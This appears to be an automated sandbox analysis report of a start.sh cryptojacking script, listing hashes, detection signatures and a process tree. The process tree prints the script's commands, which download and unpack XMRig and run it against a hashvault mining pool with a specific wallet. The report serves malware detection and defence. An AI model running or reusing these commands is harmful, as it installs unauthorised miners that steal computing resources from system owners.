Analysis

  • max time kernel
    20s
  • max time network
    20s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240226-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    20-03-2024 21:26

General

  • Target

    start.sh

  • Size

    573B

  • MD5

    badbf4901e27cdee108f6ea8ba30837e

  • SHA1

    e8f20bcae4ce68b777f43718b12125aa0cfdf6d8

  • SHA256

    e3a24865935df812072d57a87e460d5cbe1f5f45d6fb0f470f3182f55669e6bb

  • SHA512

    6a5e729fdad612340e1e2d4b347ada7c372db6c015b90fa126b50c74b6d356c619c3e9243b0b83fa1fc0eaf818b571afcd75fd9af34303c411c0d755353d5831

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
      PID:695
      • /usr/bin/wget
        wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz -O xmrig-6.21.1-linux-x64.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:697
      • /bin/tar
        tar -xvf xmrig-6.21.1-linux-x64.tar.gz
        2⤵
        • Reads runtime system information
        PID:799
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:800
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:800
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:800
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:800
                • /sbin/gzip
                  gzip -d
                  3⤵
                    PID:800
                  • /bin/gzip
                    gzip -d
                    3⤵
                      PID:800
                  • /tmp/xmrig-6.21.1/xmrig
                    ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2lin --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                    2⤵
                    • Executes dropped EXE
                    PID:801

                Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/xmrig-6.21.1/SHA256SUMS

                  Filesize

                  150B

                  MD5

                  0eeaf66a6ba6b6934ffefce538342572

                  SHA1

                  8f28c8a7345c85b2ae78924828aa16e1b6be7b97

                  SHA256

                  aa89fb25473e544be6a5cbe6a6106e220fc6cd4b935fe76bc73a19b3b6daed60

                  SHA512

                  5a8e8a77e97f2b221bf1a9097a2f19a2c3c0ed376d7e2561a41c6d74203ddbe9d0482a818d17555da44088e511b3724dd41dd7cc91e3ebaadab9c176b1a7b57d

                • /tmp/xmrig-6.21.1/config.json

                  Filesize

                  2KB

                  MD5

                  66f38c96a4901e7b345787c447842b3e

                  SHA1

                  2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                  SHA256

                  2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                  SHA512

                  71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                • /tmp/xmrig-6.21.1/xmrig

                  Filesize

                  8.5MB

                  MD5

                  c332b75871551f3983a14be3bfe2fe79

                  SHA1

                  84791db42a6f321ea70cfcbf13913fa4e02533f8

                  SHA256

                  2e7682abe30d93afb3bd9dee0011c450c1d72d727151344b8b7360441571e007

                  SHA512

                  c7ed0d0dd9833530aadd7a06b66913de02bccac929b17f0920c743c1543bc88bfd98d39c570e304f7bb8f2f87d4475176ed1bb11b026f9d8a514053cee5b808f